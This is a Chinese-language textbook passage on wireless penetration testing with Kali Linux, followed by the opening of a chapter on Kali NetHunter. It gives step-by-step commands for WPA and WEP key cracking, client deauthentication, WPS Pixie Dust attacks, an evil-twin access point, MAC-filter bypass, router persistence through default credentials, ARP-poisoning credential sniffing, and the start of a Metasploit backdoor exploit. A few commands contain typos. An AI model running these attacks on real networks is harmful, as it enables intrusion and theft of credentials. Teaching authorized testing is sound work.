一旦初始配置运行,WAIDPS 将提供一个范围内的访问点和无线网络列表。此外,还有有关正在使用的加密类型以及认证机制的信息。另一个很好的信息是 PWR 或功率指示器。这表示特定访问点信号的强度。数字越接近零,信号越强。如果信号比您想要的要弱,这表明您可能需要更靠近实际的访问点:

除了识别无线访问点外,WAIDPS 还具有扫描可能启用了无线但未与访问点关联的客户端的能力。如果您需要伪造一个看似来自合法客户端的 MAC 地址,这些信息可能会很有用:

无线测试工具

Kali Linux 预装了许多命令行和基于 GUI 的工具。这些工具可以用来将我们的网络接口转换为网络监视器,捕获流量,并反向验证身份验证密码。其中第一个工具是 Aircrack-ng,它是一套工具。此外,我们将研究一些其他命令行和 GUI 工具,涵盖了无线渗透测试所涉及的全部任务。

Aircrack-ng

Aircrack-ng 是一套工具,允许渗透测试人员测试无线网络的安全性。该套件包括执行以下与无线渗透测试相关任务的工具:

  • 监控:这些工具专门设计用于捕获流量以供以后分析。我们将更深入地了解 Aircrack-ng 工具捕获无线流量的能力,我们可以将其用于其他第三方软件,如 Wireshark,进行检查。

  • 攻击:这些工具可用于攻击目标网络。它们包括允许进行去认证攻击和重放攻击的工具,这些攻击利用了 Aircrack-ng 进行数据包注入的能力,Aircrack-ng 实际上将数据包发送到无线数据流中,既发送到客户端又发送到访问点,作为攻击的一部分。

  • 测试:这些工具允许测试诸如无线网卡之类的硬件的无线功能。

  • 破解:Aircrack-ng 工具集还具有破解 WEP、WPA 和 WP2 中发现的无线预共享密钥的能力。

除了命令行工具外,Aircrack-ng 还用于许多基于 GUI 的工具。对 Aircrack-ng 的工作原理有扎实的了解将为我们稍后在本章中探讨的其他工具的使用提供坚实的基础。

WPA 预共享密钥破解

现在我们将使用 Aircrack-ng 套件的工具来攻击 WPA2 无线网络。该过程涉及识别我们的目标网络,捕获四路握手,然后利用一个字典来暴力破解与无线网络的 SSID 相结合的密码,即预共享密钥。通过破解密码,我们将能够对目标无线网络进行身份验证:

  1. 确保您已插入无线网络卡,并且它正常工作。为此,请在命令行中输入以下命令:
    # iwconfig

该命令应输出类似于以下屏幕截图的内容。如果您没有看到无线接口,请确保它已正确配置:

在这里,我们已经将我们的无线接口标识为wlan0。如果您有多个接口,您可能也会看到wlan1。在进行这些测试时,请确保您使用的是正确的接口。

  1. Aircrack-ng 套件中我们将使用的第一个工具是airmon-ng。这个工具允许我们将无线网络卡切换到所谓的监视模式。这很像将网络接口放入混杂模式。这使我们能够捕获比普通无线网络卡看到的更多的流量。要找出airmon-ng中可用的选项,输入以下命令:
    # airmon-ng -h

这将产生以下结果:

要将无线网络卡切换到监视模式,输入以下命令:

    # airmon-ng start wlan0

如果成功,我们会看到这个:

如果我们再次使用iwconfig检查接口,我们会看到我们的接口也已经改变了:

有时会有干扰将无线卡放入监视模式的进程。当执行airmon-ng start wlan0命令时,可能会看到以下消息:

在这种情况下,有三个可能干扰监视模式下无线卡的进程。在这种情况下,我们运行以下命令:

    # airmon-ng check kill

此时,执行以下命令将允许我们继续:

    # pkill dhclient
    #pkill wpa_supplicant

这会终止可能干扰airmon-ng的进程。要重新启用这些进程,在使用 Aircrack-ng 工具完成后,输入以下两个命令到命令行中:

    # service networking start
    # service network-manager start 

如果仍然有任何问题,可以重新启动 Kali Linux,这些服务将被重新启用。

在下一步中,我们需要扫描我们的目标网络。在上一节中,我们讨论了一些必要的侦察工作来识别潜在的目标网络。在这种情况下,我们将使用一个名为airodump-ng的工具来识别我们的目标网络,以及确定它正在使用的 BSSID 和正在广播的信道。要访问airodump-ng的选项,输入以下命令到命令提示符中:

    # airodump-ng -help

这将产生以下部分输出:

现在我们将使用airodump-ng命令来识别我们的目标网络。输入以下命令:

    # airodump-ng wlan0mon  

airodump-ng会一直运行,直到你停止它。一旦看到目标网络,按下Ctrl + C来停止。你会看到以下输出。我们已经用红色标识出了我们要尝试破解的网络:

  1. 上一步为我们确定了三个关键信息。首先,我们确定了我们的目标网络Aircrack_Wifi。其次,我们有了 BSSID,即目标网络的 MAC 地址44:94:FC:37:10:6E,最后,信道号6。下一步是捕获与我们的目标接入点之间的无线流量。我们的目标是捕获四次握手。要开始捕获流量,输入以下命令到命令提示符中:
    # - airodump-ng wlan0mon -c 6 --bssid 44:94:FC:37:10:6E -w wificrack  

该命令告诉airodump-ng使用监视接口来捕获目标网络的 BSSID 和信道的流量。以下截图显示了命令的输出:

当命令运行时,我们要确保捕获到握手。如果客户端连接并获得有效的握手,命令输出会显示已捕获到握手:

如果无法获得 WPA 握手,查看是否有客户端访问网络。在这种情况下,我们看到一个连接到目标无线网络的站点,MAC 地址为64:A5:C3:DA:30:DC。由于这个设备已经认证,它很可能在连接暂时丢失时自动重新连接。在这种情况下,我们可以在命令行中输入以下命令:

    # aireplay-ng -0 3  -a 44:94:FC:37:10:6E - c 64:A5:C3:DA:30:DC  wlan0mon 

aireplay-ng命令允许我们向通信流中注入数据包并取消客户端的认证。然后,这将迫使客户端完成一个我们可以捕获的新的 WPA 握手。

  1. 在我们捕获到握手后,我们通过按下Ctrl + C来停止airodump-ng。如果我们检查根文件夹,我们会看到从我们的转储中创建的四个文件:

我们可以在 Wireshark 中检查wificrack-01.cap文件。如果我们深入到 EAPOL 协议,我们实际上可以看到我们捕获到的四路握手:

进一步的检查显示了特定的 WPA 密钥 Nonce 及其相关信息:

  1. 我们有必要的信息来尝试破解 WPA 预共享密钥。为此,我们使用aircrack-ng工具。以下是aircrack-ng命令:
        #aircrack-ng -w rockyou.txt -b 44:94:FC:37:10:6E wificrack-01.cap

在前面的命令中,我们使用-b选项标识目标网络的 BSSID。然后,我们指向捕获文件wificrack-01.cap。最后,我们使用一个单词列表,就像我们会破解密码文件一样。在这种情况下,我们将使用rockyou.txt单词列表。一旦命令设置好,按Enteraircrack-ng就会开始工作:

Aircrack-ng 将利用rockyou.txt密码列表并尝试对捕获文件进行每种组合。如果预共享密钥中使用的passcode在文件中,aircrack-ng将产生以下消息:

从前面的截图中,我们可以看到passcode "15SHOUTINGspiders"在我们用于暴力破解的rockyou.txt文件中。还要注意,这大约花了一小时 42 分钟,最终尝试了总共 8,623,648 个不同的 passcodes。这种技术可以尝试使用任何密码列表,就像我们在密码破解章节中讨论的那样。只要记住,passcode 的长度可以是 8 到 63 个字符。可用的组合数量太多,无法尝试。不过,这种攻击对于易记或短密码短语是成功的,就像密码破解一样。

WEP 破解

WEP 破解的过程与用于破解 WPA 的过程非常相似。识别目标网络,捕获流量(包括认证机制),然后指向一个暴力破解攻击以反向密钥。不过,也有一些不同之处。与 WPA 破解相反,我们只需要捕获四路握手,而在 WEP 破解中,我们必须确保收集足够的初始化向量IVs)以正确破解 WEP 密钥。虽然这可能看起来很困难,但有技术可用来强制这个过程,并使得嗅探流量所需的时间尽可能短。

  1. 为了开始 WEP 破解过程,我们以与 WPA 破解相同的方式将无线网卡置于监视模式。输入以下命令:
    # airmong-ng start wlan0
  1. 我们尝试使用以下命令找到目标网络:
    # airodump-ng wlan0mon 

这产生了无线网络列表:

我们已经确定了一个使用 BSSID 为C0:56:27:DB:30:41的 WEP 目标网络。同样,我们需要记下这一点,以及接入点使用的频道,这种情况下是11频道。

  1. 捕获目标无线网络的数据。在这里,我们将使用airodump-ng命令来捕获这些数据:
    # airodump-ng -c 11 -w belkincrack --bssid C0:56:27:DB:30:41

这个命令将airdump-ng指向我们目标网络的适当频道。此外,我们正在捕获写入"belkincrack"文件的流量。这个命令产生以下输出:

请注意,我们尚未看到任何数据通过该接入点移动。这很重要,因为我们需要捕获包含 IVs 的数据包,以便破解 WEP 密钥。

  1. 我们必须伪装认证到我们的目标网络。基本上,我们使用一个名为aireplay-ng的 Aircrack-ng 工具告诉接入点我们有正确的 WEP 密钥,并且准备好进行认证。即使我们没有正确的密钥,以下命令也让我们伪装认证,并允许我们与 WEP 接入点进行通信:
      # aireplay-ng -1 0 -a C0:56:27:DB:30:41 wlan0mon

在上述命令中,我们让aireplay-ng使用"-1"伪装认证,"0"作为重传时间,"-a"作为目标接入点的 BSSID。该命令产生以下结果:

现在我们有能力与 WEP 接入点进行通信。

  1. 正如我们在步骤 3 中看到的,通过该接入点来回传输的数据非常少。我们需要捕获大量数据,以确保我们能够抓住那些 IVs 并强制发生碰撞。我们可以再次使用aireplay-ng来增加数据到接入点。在以下命令中,我们将进行 ARP 请求重放攻击。在这种攻击中,我们将使用aireplay-ng向接入点重发 ARP 请求。每次这样做时,它都会生成一个新的 IV,增加我们强制发生碰撞的机会。打开第二个命令提示符,输入以下内容:
      # aireplay-ng -3 -b C0:56:27:DB:30:41 wlan0mon

在上述命令中,"-3"告诉aireplay-ng对以下网络进行 ARP 请求重放攻击,"-b"是特定接口"wlanomon"。命令运行后,您需要通过 ping 同一网络上的另一个主机来强制 ARP 请求。这将强制 ARP 请求。一旦开始,您将看到以下输出:

如果我们回到第一个正在运行airodump-ng的命令提示符,我们会看到数据速率开始增加。在这种情况下,超过 16,000 个 IVs:

  1. 打开第三个终端。在这里,我们将开始 WEP 破解。这可以在airodump-ng命令捕获 IVs 的同时运行。要启动该过程,请输入以下命令:
    # aircrack-ng belkincrack-01.cap

在上述命令中,aircrack-ng指向正在运行的捕获文件。aircrack-ng立即开始工作,如截图所示:

aircrack-ng可能会指示 IVs 不足,并在 IVs 足够时重新尝试。正如我们在以下截图中看到的,aircrack-ng能够确定 WEP 密钥。总共捕获了 15,277 个 IVs,用于破解。此外,在不到三分钟内测试了 73253 个密钥:

正如我们在这次攻击中看到的,通过正确数量的无线流量和aircrack-ng工具套件,我们能够确定 WEP 密钥,从而允许我们对网络进行认证。正是这种攻击的简易性导致了从 WEP 到 WPA 认证的转变。虽然由于这种攻击,WEP 网络在野外变得越来越少,但您仍然可能会遇到一些。如果您确实遇到它们,这种攻击非常适合向客户展示存在的重大安全漏洞。

PixieWPS

PixieWPS 是一种离线暴力破解工具,用于破解 WPS 无线接入点的 PIN。PixieWPS 的名称来自 Dominique Bongard 发现的 Pixie-Dust 攻击。此漏洞允许对 WPS PIN 进行暴力破解。(有关此漏洞的更详细信息,请参阅 Bongard 的演示:passwordscon.org/wp-content/uploads/2014/08/Dominique_Bongard.pdf。)

要访问 PixieWPS,请在命令提示符中输入以下内容:

    # pixiewps

该命令将为您提供不同的命令选项。为了使 PixieWPS 正常工作,必须获取大量信息。这包括以下内容:

  • 受训者公钥

  • 注册公钥

  • 受训者哈希-1

  • 受训者哈希-2

  • 认证会话密钥

  • 受训者 nonce

由于需要所有这些组件,PixieWPS 通常作为另一个工具的一部分运行,比如 Wifite。

Wifite

Wifite 是一个自动化的无线渗透测试工具,利用了与 Aircrack-ng、Reaver 和 PixieWPS 命令行工具相关的工具。

这使得 Wifite 能够捕获流量并反向验证 WEP、WPA 和 WPS 类型的无线网络的认证凭据。导航到应用程序|无线攻击|Wifite 或通过命令行启动 Wifite:

    # wifite

任一都会带您到初始屏幕:

Wifite 将自动将无线卡置于监视模式,然后开始扫描无线网络:

一旦在列表中看到目标网络,比如 ESSID 或广播 SSID Brenner,按下Ctrl + C。这时,您将被提示输入一个单个数字或一个测试范围。在这种情况下,我们输入数字4并按Enter

Wifite 会自动通过捕获必要的信息来启动 WPS Pixie 攻击。如果成功,将显示以下内容:

如果存在 WPS 漏洞,就像这里的无线网络一样,Wifite 能够确定 WPA 密钥和 PIN。

Fern Wifi-Cracker

Fern Wifi-Cracker 是一个用 Python 编写的基于 GUI 的工具,用于测试无线网络的安全性。目前有两个支持的版本:一个是付费的专业版本,具有更多的功能,另一个是免费版本,功能有限。Kali Linux 附带的版本需要aircrack-ng和其他无线工具才能正常运行。

要启动 Fern,您可以导航到应用程序|无线攻击|Fern Wifi Cracker,或者在命令提示符中键入以下内容:

    # fern-wifi-cracker

以下屏幕截图是加载的初始页面:

我们将使用 Fern Wifi Cracker 来攻击相同的无线网络 Aircrack-Wifi,利用 GUI 而不是使用命令行进行攻击:

  1. 选择接口。单击“选择接口”下拉菜单。在这种情况下,我们将选择 wlan0。Fern 将自动将我们的接口置于监视模式:

  1. 单击“扫描访问点”按钮。Fern 将自动扫描天线范围内的无线网络。扫描完成后,Wifi WEP 和 WiFi WPA 按钮将从灰色变为彩色,表示检测到使用这些安全设置的无线访问点:

  1. 单击 Wifi WPA 按钮会显示一个攻击面板,其中包含我们可以攻击的 WPA 无线访问点的图形表示。在这种情况下,我们将选择 Aircrack_Wifi 按钮!

  2. 此屏幕提供了有关所选访问点的详细信息。此外,Fern Wifi Cracker 允许进行 WPA 攻击或 WPS 攻击。在这种情况下,我们将使用 WPA 攻击!

  3. 设置 Fern Wifi-Cracker 将用于反向密码的密码文件。在这种情况下,我们制作了一个特殊的 Wi-Fi 密码列表,并将 Fern Wifi-Cracker 指向该文本文件!

  4. 点击 Wifi 攻击按钮。Fern Wifi-Cracker 完成了我们之前在 Aircrack-ng 部分介绍的整个过程。这包括解认证客户端,然后捕获四次握手。最后,Fern Wifi-Cracker 将通过密码文件,并且如果密码文件中有该密码,将出现以下消息:

Fern Wifi-Cracker 负责破解 Wi-Fi 网络和接入点的后台工作。虽然使用这个工具可能更容易,但最好对 Aircrack-ng 的工作原理有一个扎实的理解。Fern Wifi-Cracker 和其他基于 GUI 的 Wi-Fi 破解程序都是基于 Aircrack-ng 的,对该工具集有扎实的理解可以让您完全理解这些程序背后发生了什么。

恶意双子攻击

在任何大城市或企业环境中几乎不可能找不到 Wi-Fi 信号。其中许多,特别是在公共场所,Wi-Fi 热点不需要身份验证,其他则会显示一个强制门户,可能只需要您接受一些条款和条件,或者要求您使用您的电子邮件或 Facebook 账户登录。

恶意双子攻击,也称为流氓接入点或虚假接入点,是一个伪装成合法接入点而没有所有者知识或同意的接入点。连接到合法接入点的终端用户将连接到虚假接入点,因为虚假接入点通常信号更强。

设置了虚假接入点的攻击者现在将能够捕获受密码保护的 SSID 的实际密码,为中间人和其他攻击做好准备。

我们需要包括 Aircrack Suite 和dnsmasq。dnsmasq 是一个小巧、轻量级的工具,可以作为易于配置的 DNS 转发器和 DHCP 服务器。根据您想要使用的攻击向量,您将需要一些额外的工具,比如apache2dnsspoof

  1. 验证您是否拥有这些工具。我们知道 Aircrack 工具和 Apache2 已经预装在 Kali 上。在终端中,输入apt-get install dnsmasq。如果已经安装,您将无需进行任何操作;如果没有安装,系统将提示您进行安装确认。

  2. 通过将无线适配器之一设置为监视模式airmon-ng start <interface>来确定目标网络,然后启动airodump-ng <interface>来开始列出当前正在广播的所有网络:

  1. 您可能会看到类似于屏幕截图中的错误。在大多数情况下,这些错误是可以忽略的。如果遇到问题,使用kill <PID>来结束进程。例如,我会使用kill 610来结束NetworkManager进程:

注意目标网络的 BSSID(MAC 地址)、ESSID(广播名称、SSID)和信道。

  1. 设置一个dnsmasq的配置文件。我在我的主目录下创建了一个名为tmp的文件夹,使用mkdir tmp。然后改变目录,在终端输入touch dnsmasq.conf。这将创建一个名为dnsmasq的文件。输入nano dnsmasq.conf将在clinano文本编辑器中打开dnsmasq.conf文件。输入以下行:
interface=<at0>
dhcp-range=10.0.0.10,10.0.0.250,12h
dhcp-option=3,10.0.0.1
dhcp-option=6,10.0.0.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1

dnsmasq.conf文件中,我们只指定了接口(at0)、要使用的dhcp范围(10.0.0.10 - 10.0.0.25012h租约时间)、dhcp-option=3作为网关(10.0.0.1),以及dhcp-option=3作为 DNS 服务器(10.0.0.1)。为什么接口是at0?这是因为airbase-ng创建了一个名为at0的默认桥接口。

使用Ctrl + O在 nano 中保存更改,使用Ctrl + X退出。

  1. 设置airbase-ng。这将创建我们的访问点。使用airbase-ng -e <ESSID> -c <channel> <monitor interface>进行设置。我的目标ESSID设置为ARRIS-4BE2,频道设置为11,监视接口为wlan0mon

  1. 启用at0接口,稍微调整iptables,并启用/禁用流量通过。您可以像之前一样依次执行这些操作。

使用dnsmasq -C <config file> -d启动dnsmasq

  1. 您可以阻止流量通过并像之前一样捕获 IVS(使用echo 0 > /proc/sys/net/ipv4/ip_forward),或者您可以向用户提供一个强制门户网站或允许流量通过(使用echo 1 > /proc/sys/net/ipv4/ip_forward),只重定向特定目标站点以设置 MitM 攻击。

在这里,我们可以朝着几个方向发展。我们可以继续并建立一个成熟的恶意双子(Rogue AP)以捕获网络的密码,或者我们可以建立一个中间人攻击,通过整合其他工具(如dsniff工具套件或sslstrip)或将其与浏览器利用框架BeEF)结合起来,直接攻击客户端,劫持用户的浏览器。

破解后

如果您成功获取了 WPA 或 WEP 密钥,现在您有了认证到网络的能力。一旦连接到无线网络,您就拥有了我们在本书中讨论过的一系列工具。这是因为一旦得到适当的认证,您的 Kali Linux 安装就只是局域网LAN)的一部分,就像我们通过网络电缆连接一样。因此,我们有能力扫描其他设备,利用漏洞,利用系统,并提升我们的凭据。

MAC 欺骗

有一些技术对于演示我们可以探索的无线网络上的其他漏洞是有用的。其中一个问题是绕过一个称为 MAC 过滤的常见无线控制。MAC 过滤是一些路由器上的一种控制,只允许特定的 MAC 地址或 MAC 类型。例如,您可能正在测试一个使用 iPad 的商业位置。无线网络只会允许具有34:12:98前三个十六进制字符的 MAC 地址。其他组织可能有一组允许加入的 MAC 地址。

如果您能够破解 WPA 密钥,但发现无法加入网络,则目标组织可能正在使用某种形式的 MAC 地址过滤。为了绕过这一点,我们将使用 Macchanger 命令行工具。这个简单的命令允许我们将 MAC 地址更改为允许我们连接的内容。首先,您可以轻松地从以前的侦察和破解尝试中找到一个新的 MAC 地址。Airodump-ng 工具将识别连接到无线网络的客户端。此外,使用 Wireshark 解析捕获文件将允许您识别潜在有效的 MAC 地址。

在这个例子中,我们已经确定了一个连接到目标无线网络的无线客户端,其 MAC 地址为34:12:98:B5:7E:D4。要将我们的 MAC 地址更改为模拟合法的 MAC 地址,只需在命令行中输入以下内容:

    # macchanger -mac=34:12:98:B5:7E:D4 wlan0

该命令产生以下输出:

此外,如果我们运行ifconfig wlan0命令,我们可以看到我们伪造的 MAC 地址:

现在我们有能力绕过接入点上正在进行的任何 MAC 过滤。现在有能力连接到无线网络。与我们能够破坏的任何系统一样,建立持久性是另一个关键步骤。这使我们有一定的确定性,如果我们失去连接,我们将能够再次访问系统。

持久性

一旦我们有有效的身份验证无线网络的方法并能够连接,下一步就是建立持久性。一个要关注的领域是无线路由器。大多数无线路由器都有基于 Web 的或其他控制台,合法管理员可以登录并管理路由器。通常,这些路由器位于我们连接的无线局域网子网的开头。例如,如果我们连接到Wifi_Crack并运行ifconfig wlan0命令,它会将我们标识为具有 IP 地址10.0.0.7

如果我们通过 Iceweasel 浏览器导航到http://10.0.0.1,我们会被带到这个页面。您还可以在终端中输入route -n,这将给您默认网关:

如果我们输入admin用户名而没有密码并单击确定,我们会得到这个:

我们看到的是管理员帐户的默认密码。虽然不常见,但并非不可能,这个网络的系统管理员留下了无线路由器的默认凭据。如果我们没有收到这个错误消息,互联网上有大量资源汇总了各种路由器、交换机和无线接入点的默认管理员帐户。

一个这样的网站是www.routerpasswords.com/。如果这不起作用,下一个选择是使用我们之前介绍过的技术来暴力破解登录。

如果我们能够破坏管理员帐户并访问管理设置,注意允许您再次登录的信息,例如 WPS PIN:

管理员可能会更改无线接入点的 WPA 密码,但通常会保留 WPS PIN。此外,您应该检查是否有能力访问 MAC 地址过滤控件:

从这里,您可以输入几个 MAC 地址,以便将来使用。

嗅探无线流量

在检查嗅探无线流量的技术时,有两种类型的技术可用。第一种是在经过身份验证并连接到目标无线局域网时嗅探无线局域网流量。在这种情况下,有能力利用中间人攻击与 Ettercap 等工具,将网络流量强制通过我们的测试机器。

第二种技术是嗅探我们可以从特定无线网络获取的所有无线流量,并使用 WPA 或 WEP 密码解密它。如果我们试图通过不连接到无线局域网来限制我们的足迹,这可能是必要的。通过被动嗅探流量并稍后解密,我们减少了被发现的机会。

嗅探无线局域网流量

就像有线局域网一样,在无线局域网上,我们有能力嗅探网络流量。以下嗅探技术要求您已经正确地经过身份验证连接到正在测试的无线网络,并从路由器那里收到了有效的 IP 地址。这种嗅探将利用 Ettercap 工具进行 ARP 欺骗攻击并嗅探凭据:

  1. 通过转到应用程序|嗅探和欺骗|Ettercap-gui 或在命令提示符中输入ettercap-gui来启动 Ettercap。导航到 Sniff 并单击 Unified Sniffing。然后,您将看到一个网络接口的下拉列表。选择您的无线接口,在我们的情况下是 WLAN0:

  2. 单击主机,然后单击扫描主机。扫描完成后,单击主机列表。如果是活动无线网络,您应该会看到一些主机。

  3. 单击 MiTM,然后 ARP 毒化。在下一个屏幕上,选择一个 IP 地址,然后单击目标 1,然后选择第二个 IP 地址,然后单击目标 2:

  4. 单击嗅探远程连接单选按钮,然后单击确定:

这将启动 ARP 毒化攻击,从而我们将能够看到我们选择的两个主机之间的所有流量。

  1. 开始 Wireshark 捕获。当您被带到第一个屏幕时,确保选择无线接口,在这种情况下是 WLAN0:

当您检查流量时,我们可以看到捕获的各种类型的流量。最显著的是我们两个主机之间打开的 Telnet 会话:

如果我们右键单击 Telnet 会话并选择跟踪 TCP 流,我们可以看到 Metasploitable 实例的 Telnet 凭据以明文形式显示:

被动嗅探

在被动嗅探中,我们未经过网络认证。如果我们怀疑可能会触发入侵防范控制(如流氓主机检测)的可能性,这是一种避开这些控制但仍然可能获得潜在机密信息的好方法:

  1. 在目标网络上被动扫描无线流量。确保您的无线网卡处于监视模式:
    # airmon-ng start wlan0  
  1. 使用airodump-ng工具来嗅探网络流量,就像我们在 WPA 破解部分所做的那样:
    # airodump-ng wlan0mon -c 6 --bssid 44:94:FC:37:10:6E -w wificrack
  1. 运行工具的时间长短由你决定。为了确保我们能够解密流量,我们需要确保捕获完整的四路握手,如果是 WPA 网络的话。一旦我们捕获到足够的流量,按下Ctrl + C

  2. 导航到捕获文件所在的文件夹,然后双击。这应该会自动在 Wireshark 中打开捕获!

捕获是加密的,只能看到一些802.11数据包。

  1. 在 Wireshark 中,导航到编辑,然后到首选项。将打开一个新的窗口;单击协议旁边的三角形,然后单击 802.11. 应该会打开以下内容:

  1. 单击编辑。这将带您到一个屏幕,输入 WEP 或 WPA 解密密钥。单击新建。在密钥类型下,输入WPA,然后输入密码和 SSID。在这种情况下,它将是Induction:Coherer。单击应用和确定:

  1. 要将此解密密钥应用于我们的捕获,导航到“查看”,然后到“无线工具栏”。启用无线工具栏。在主屏幕上,您将看到以下内容:

  1. 在无线工具栏上,单击解密密钥。将会出现一个框。在左上角的下拉菜单中,选择 Wireshark 作为解密模式。确保选择适用的密钥。单击应用和确定:

  1. Wireshark 将解密密钥应用于捕获,并在适用的情况下能够解密流量:

正如前面的屏幕截图所示,我们可以解密我们捕获的流量,而无需加入网络。重申一点,这种技术需要为每个捕获的会话进行完整的四路握手。

摘要

无线网络的使用渗透到所有组织中。与迄今为止我们探讨过的任何系统一样,无线网络也存在漏洞。这些漏洞,无论是流量加密方式还是身份验证方法,都可以利用 Kali Linux 提供的工具。渗透测试人员演示这些漏洞及其相关的利用方式,可以让那些使用这些类型网络的人清楚地了解他们需要采取什么措施来保护自己免受攻击。随着世界向着越来越无线化的方向发展,智能手机、笔记本电脑和物联网的出现,无线网络及其安全控制的不断测试变得至关重要。

在下一章中,我们将讨论无线网络作为渗透测试的一个更大方法论的一部分:使用 Kali Linux 的 Nethunter 作为移动设备渗透测试平台。我们将以一种新的方式展示几种技术,使用一种灵活的渗透测试工具。

第十二章:使用 Kali NetHunter 进行移动渗透测试

Kali NetHunter 专门设计用于在 Android 移动平台上运行,为渗透测试人员提供了更大的灵活性和移动性。

Kali NetHunter 具有我们讨论过的许多工具,以及一些额外的工具,可以进行更多的移动渗透测试。在本章中,我们将讨论安装 Kali NetHunter 以及如何使用关键工具。最后,将讨论 NetHunter 平台在某些用例中相比尝试使用更传统的 Kali Linux 方法具有显著优势的情况。

在本章中,我们将讨论以下内容:

  • Kali Linux NetHunter 概述

  • 部署 NetHunter

  • 安装 NetHunter 的一般概述

  • 工具和技术

  • 无线攻击

  • 人机界面设备攻击

技术要求

在本章中,OnePlus One 和 Nexus 4 设备都用于运行 NetHunter。兼容设备的完整列表可在github.com/offensive-security/kali-nethunter/wiki上找到。

Kali NetHunter

NetHunter 是建立在开源 Android 平台上的第一个移动渗透测试操作系统。这是 Offensive Security 和 Kali 社区成员 Binky Bear 之间的合作开发。NetHunter 可以安装在以下 Google Nexus 设备上:Nexus 5、Nexus 6、Nexus 7、Nexus 9、Nexus 10 和 OnePlus One。兼容设备的完整列表可在github.com/offensive-security/kali-nethunter/wiki上找到。Offensive Security 提供了基于设备和制造年份的多个 NetHunter 镜像。

部署

由于其大小,NetHunter 可以以三种一般方式部署。这些部署策略利用了 NetHunter 平台内的工具以及可以轻松获取的额外硬件。这些部署策略允许渗透测试人员测试各种环境中发现的广泛的安全措施。

网络部署

前面大部分章节都致力于介绍渗透测试人员用于测试远程或本地网络的工具和技术。这些工具需要通过物理连接访问这些网络。NetHunter 也具有相同的能力。利用 USB Android 适配器和 USB 以太网适配器的组合,渗透测试人员可以直接连接到墙壁插座,或者如果他们能够获得网络硬件的访问权限,可以直接连接到交换机。

这种部署策略适用于那些希望秘密进入区域而不想携带笔记本电脑的测试人员。使用 Nexus 智能手机甚至小型平板电脑,渗透测试人员可以连接到物理网络,入侵本地系统并在那里设置持久性,然后继续前进。在测试公共可用网络插孔周围的安全性时,这种方法也很有用。

无线部署

NetHunter 在一个便携包中包含了许多相同的工具。在某些渗透测试中,使用平板电脑或智能手机测试平台而不是笔记本电脑,可以更轻松地在大型校园周围移动,识别网络并捕获无线流量以供以后破解。

要以这种方式部署 NetHunter,需要使用外部天线和 USB 到 Android 适配器。一旦连接,这些硬件工具允许充分使用 NetHunter 的无线工具。

主机部署

NetHunter 平台相对于 Kali Linux 平台的一个优势是在 Android OS 中找到的本机 USB 支持。这使得渗透测试人员能够将 NetHunter 平台直接连接到诸如笔记本电脑和台式机之类的主机。这种能力允许渗透测试人员利用执行人机界面设备攻击的工具。在这些攻击中,渗透测试人员能够利用允许连接到主机设备并模拟所谓的人机界面设备HID)的工具。HID 是诸如键盘和鼠标之类的设备,通过 USB 连接到主机。

HID 攻击利用这一特性,强制主机系统执行命令或直接下载有效负载脚本到系统。这种攻击更难阻止的原因在于,即使数据丢失预防控制不允许连接 USB 存储设备,HID 设备也是允许的。

安装 Kali NetHunter

一般来说,安装 NetHunter 的过程包括对设备进行 root、将其恢复到出厂镜像,然后将 Kali NetHunter 镜像刷入设备。您应该给自己一个小时来完成整个过程。这里提供的是一个概述,让您有一个很好的起点来收集必要的工具和镜像。

以下是您 root 设备、放置恢复镜像和最后安装 NetHunter 镜像所需的一些资源:

确保您按照正确的顺序仔细遵循说明。在这个过程中不要着急。

NetHunter 图标

一旦 NetHunter 安装在您的设备上,作为镜像的一部分安装了两个图标。您将在应用程序菜单中找到它们。您将会广泛使用这些图标,所以我建议您将它们移动到顶层屏幕。第一个图标是 Kali NetHunter 菜单。该菜单包括在渗透测试中常用的配置设置和工具。首先,点击 NetHunter 图标:

您将被带到一个主屏幕,上面有一系列工具,以及一些配置设置菜单。我们现在要检查的菜单是 Kali Services 菜单。该菜单允许您配置 NetHunter 上可用的不同服务,而无需使用命令行:

在这个菜单中,您可以配置许多服务在启动时启动,或根据您的具体要求切换开关。我们在其他章节中介绍过的两个特定服务包括 Apache Web 服务器和 Metasploit 服务。这两个服务都可以从这个菜单中启动:

除了菜单选项之外,NetHunter 还有一个用于访问命令行的图标。要访问终端,请点击 NetHunter 终端:

然后将打开命令提示符,看起来与我们在之前章节中看到的标准界面相同:

右上角的三个垂直点将允许您访问选项,这些选项允许您使用特殊键,访问帮助菜单,并设置您的首选项,以及其他选项。此外,Kali NetHunter 预先配置了 Hacker's Keyboard。导航到平板菜单中的应用程序页面。您将找到 Hacker's Keyboard 的图标。这个键盘更加用户友好,在使用命令行时非常有用。

NetHunter 工具

由于它基于 Kali Linux 操作系统,我们在之前章节中探讨过的许多工具都是 NetHunter 平台的一部分。因此,在渗透测试期间可以使用相同的命令和技术。在接下来的部分中,我们将讨论两个在渗透测试中最常用的工具,并检查一些可以成为个人 NetHunter 平台一部分的其他工具。

Nmap

其中一个最常用的工具是 Nmap,我们已经详细介绍过。虽然您可以在 NetHunter 中使用与 Kali Linux 相同功能的命令行运行 Nmap,但 NetHunter Nmap 界面减少了输入这些命令所需的工作量。要进入 NMAP,点击 NetHunter 图标,然后导航到 Nmap。在这里,我们有一个界面,允许我们输入单个 IP 地址、范围或 CIDR 表示法。在这种情况下,我们将使用一个路由器的单个 IP 地址:

NetHunter 界面允许您设置 NMAP 扫描类型、操作系统检测、服务检测和 IPv6 支持。还可以设置特定的端口扫描选项。渗透测试人员可以根据自己的规格设置扫描,或选择 NMAP 应用程序选项来限制他们的端口扫描:

通过点击选择时间模板,可以设置扫描时间。与 NMAP 的命令行版本一样,扫描的时间可以根据情况进行调整。最后,还可以设置扫描类型。点击选择扫描技术将显示可用的扫描类型选项。这包括 SYN 或 TCP 扫描等选项:

配置好扫描后,点击扫描按钮。NetHunter 将打开一个命令窗口并运行扫描:

NetHunter 附带的 GUI 非常适合运行简单的扫描。对于更详细的扫描或使用脚本,您将需要切换到 NMAP 的命令行版本。

Metasploit

在之前的章节中,我们讨论过许多强大的渗透测试工具之一是 Metasploit。Metasploit 框架包含在 NetHunter 中,并且与 Kali Linux 的功能完全相同。例如,让我们使用 NetHunter 平台尝试利用运行 Metasploitable 的目标系统中的后门漏洞。

首先,我们点击 NetHunter 终端图标,然后输入以下内容:

    # msfconsole

我们将利用 Metasploitable 中 IRC 守护程序的后门漏洞。因此,我们将使用unreal_ircd_3281_backdoor漏洞。我们在命令行中输入以下内容:

    msf > use exploit/unix/irc/unreal_ircd_3281_backdoor

接下来,我们将远程主机设置为我们的 Metasploitable 机器:

